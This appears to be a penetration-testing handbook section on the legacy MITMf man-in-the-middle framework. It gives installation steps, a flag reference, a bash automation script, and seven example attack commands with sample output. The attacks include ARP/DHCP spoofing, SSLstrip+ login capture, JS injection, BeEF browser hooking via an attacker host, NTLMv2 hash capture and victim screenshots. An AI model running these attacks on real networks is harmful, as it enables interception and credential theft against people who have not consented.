MITMf (Man-In-The-Middle Framework) is a plugin-based Python 2 framework created by Byt3bl33d3r that unified several separate MITM techniques — ARP spoofing, DHCP spoofing, DNS spoofing, SSLstrip-style HTTPS downgrade, credential capture, browser exploitation hooks (BeEF integration), and more — under a single extensible plugin architecture built on top of the Twisted networking library.
Project status note: MITMf is effectively unmaintained/archived (last significant updates predate Python 2’s end-of-life in January 2020), and it is no longer included by default in current Kali Linux repositories. It is documented here because it remains widely referenced in older coursework, write-ups, and CTF material, and understanding its plugin model is useful background before moving to its actively maintained spiritual successor, Bettercap (covered in section 13.2). Expect to install it manually from source in a Python 2 compatible environment (e.g., a dedicated legacy VM or container) rather than finding it preinstalled.
Core bundled plugins include:
- Spoof — ARP/DHCP/ICMP-based traffic redirection
- SSLstrip+ — downgrades HTTPS links to HTTP and strips HSTS headers
- Sergio-Proxy-based HTTP injection — inject arbitrary JS/HTML into intercepted pages
- Responder integration — LLMNR/NBT-NS poisoning built in
- BeEF Autorun — auto-hooks victim browsers into the Browser Exploitation Framework
- Screenshotter, FilePwner, Inject — additional traffic-manipulation plugins
Installation
MITMf requires Python 2 and several now-deprecated libraries, so it should be installed in an isolated legacy environment (Docker container or dedicated VM), never on a modern system’s default Python.
# Recommended: use a Docker container for isolation
git clone https://github.com/byt3bl33d3r/MITMf.git
cd MITMf
git submodule update --init --recursive
sudo apt install python2 python2-dev python-pip libssl-dev libjpeg-dev \
libxml2-dev libxslt1-dev libcapstone-dev libffi-dev file build-essential -y
sudo python2 -m pip install -r requirements.txt
Using the provided Dockerfile (recommended, avoids dependency conflicts):
docker build -t mitmf .
docker run -it --net=host mitmf --help
Verify:
python2 mitmf.py --help
Expected output (truncated):
usage: mitmf.py [-h] -i INTERFACE [--gateway GATEWAY] [--target TARGET] ...
MITMf v0.9.8 - Framework for Man-In-The-Middle attacks
Syntax
python2 mitmf.py -i <INTERFACE> --spoof [SPOOF_OPTIONS] --gateway <GW_IP> --target <TARGET_IP> [PLUGIN_FLAGS]
Command-Line Options Reference
Core options:
| Option | Description |
|---|---|
-i, --interface | Network interface to use |
-g, --gateway | Gateway IP address |
-t, --target | Target IP address or range (CIDR supported) |
--hsts | Enable HSTS bypass in conjunction with SSLstrip+ |
-l, --listen | Port for the HTTP proxy to listen on (default 10000) |
--gateway-mac | Manually set gateway MAC (skip ARP resolution) |
-M, --mode | Spoofing mode used with --spoof (arp, icmp, dhcp) |
--no-fork | Do not fork proxy into background |
--log-level | Set logging verbosity (debug, info, warning) |
Spoof plugin flags:
| Flag | Description |
|---|---|
--spoof | Enable the Spoof plugin (required for MITM) |
--arp | Use ARP spoofing |
--dhcp | Use rogue DHCP spoofing |
--icmp | Use ICMP redirect spoofing |
--dns | Enable DNS spoofing (works with a hosts file) |
Other plugin flags:
| Flag | Description |
|---|---|
--inject | Enable HTML/JS injection plugin |
--js-url <URL> | URL of JS payload to inject |
--js-payload <FILE> | Local JS payload file to inject |
--beef | Enable BeEF autorun hooking plugin |
--responder | Enable built-in Responder LLMNR/NBT-NS plugin |
--screen | Enable Screenshotter plugin (periodic victim screenshots via injected JS) |
--filepwn | Enable FilePwner (backdoors files in transit, e.g., EXEs) |
--jskeylogger | Inject a JS keylogger into HTTP pages |
--ferret-ns | Enable session hijacking via ferret-ns |
Basic Usage
sudo python2 mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.20 --hsts
Expected output:
[*] MITMf v0.9.8 - Framework for Man-In-The-Middle attacks
[*] Loading plugins...
[*] Plugin 'Spoof' loaded.
[*] Plugin 'HTTP Proxy' loaded.
[*] Plugin 'SSLstrip+' loaded.
[*] Trying to enable IP forwarding...
[*] Enabling SSL Certificate cache directory /root/.mitmf/certs
[*] ARP spoofing 192.168.1.20, telling it we are 192.168.1.1
[*] Server started on port 10000
[HTTP] 192.168.1.20:52344 GET example.com/login
Practical Examples with Output
Example 1 — ARP spoof MITM with SSLstrip+ HSTS bypass
sudo python2 mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.20 --hsts
Captured plaintext login output:
[SSLstrip+] Downgraded https://example.com to http://example.com
[HTTP] Login captured: username=student&password=MySecret123
Example 2 — DHCP spoofing to gain broader MITM without ARP poisoning noise
sudo python2 mitmf.py -i eth0 --spoof --dhcp --gateway 192.168.1.1
Output:
[Spoof] DHCP spoofing enabled, listening for DHCPDISCOVER...
[Spoof] Sending DHCPOFFER to 08:00:27:aa:bb:cc, assigning 192.168.1.99, DNS=192.168.1.15
Example 3 — Injecting a custom JavaScript payload into browsed pages
sudo python2 mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.20 --inject --js-payload demo_banner.js
Output:
[Inject] Injecting demo_banner.js into text/html responses
[HTTP] Injected page served to 192.168.1.20 -> example.com/index.html
Example 4 — Auto-hooking victim browsers into BeEF
sudo python2 mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.20 --beef
Output:
[BeEF] Autorun plugin online
[BeEF] Hooked browser: 192.168.1.20 -> http://192.168.1.15:3000/hook.js
Example 5 — Built-in Responder plugin for LLMNR/NBT-NS poisoning alongside ARP spoof
sudo python2 mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.20 --responder
Output:
[Responder] Answering LLMNR query for WORKSTATION2
[Responder] NTLMv2 hash captured for CONTOSO\bjones
Example 6 — Screenshotting the victim’s browser periodically
sudo python2 mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.20 --screen
Output:
[Screenshotter] Screenshot saved: screenshots/192.168.1.20_2026-07-19_10-22-01.png
Example 7 — Full logging to file for later engagement report writing
sudo python2 mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --target 192.168.1.20 --hsts 2>&1 | tee /tmp/mitmf_session.log
Common Use Cases
- Historical/legacy coursework and CTF write-ups that assume MITMf’s plugin chaining model
- Demonstrating the concept of “plugin-based MITM frameworks” before transitioning students to Bettercap
- Legacy internal assessments where a client’s documented tooling baseline still references MITMf
- Illustrating SSLstrip-style HTTPS downgrade attacks and HSTS bypass concepts for awareness training (noting that modern browsers with HSTS preload lists largely mitigate this)
Automation with Bash
#!/bin/bash
# mitmf_session.sh - Run MITMf in an isolated legacy container for a fixed duration
DURATION=300
IFACE="eth0"
GATEWAY="192.168.1.1"
TARGET="192.168.1.20"
LOG="/tmp/mitmf_$(date +%Y%m%d_%H%M%S).log"
echo "[*] Starting MITMf container session for ${DURATION}s..."
timeout "$DURATION" docker run --rm --net=host mitmf \
-i "$IFACE" --spoof --arp --gateway "$GATEWAY" --target "$TARGET" --hsts \
2>&1 | tee "$LOG"
echo "[*] Session complete. Log saved to $LOG"
Tips and Best Practices
- Treat MITMf as legacy/educational — for any live engagement, use Bettercap (13.2) instead, which is actively maintained and handles modern TLS/HSTS realities far better.
- Always run MITMf inside an isolated container or dedicated legacy VM; do not install Python 2 and its deprecated dependency chain on a modern daily-driver system.
- SSLstrip-style downgrade attacks are largely ineffective against sites on browser HSTS preload lists — don’t expect real-world success against major sites; this is primarily a teaching tool for the concept.
- Combine
--respondersparingly; running both MITMf’s Spoof plugin and standalone Responder simultaneously will cause port/service conflicts. - Clean up ARP tables and stop DHCP spoofing services explicitly after testing; MITMf’s cleanup on force-kill is less reliable than Bettercap’s.
Troubleshooting
| Problem | Cause / Fix |
|---|---|
ImportError on startup | Missing Python 2 dependency — reinstall via requirements.txt or use the provided Docker image instead |
| Won’t install on modern Kali | Python 2 removed from current Kali repos — use Docker or a Debian-based legacy VM |
| No HTTPS downgrade occurring | Target site enforces HSTS preload — expected limitation, not a bug |
| ARP spoofing not intercepting traffic | IP forwarding not enabled — MITMf should auto-enable it, but verify with cat /proc/sys/net/ipv4/ip_forward |
| BeEF hook not firing | BeEF server not running or wrong hook URL configured in MITMf’s BeEF plugin config |
References
- Original GitHub repository (archived): https://github.com/byt3bl33d3r/MITMf
- Author’s blog post explaining the framework’s design: https://byt3bl33d3r.github.io/
- Successor recommendation — Bettercap: https://www.bettercap.org/
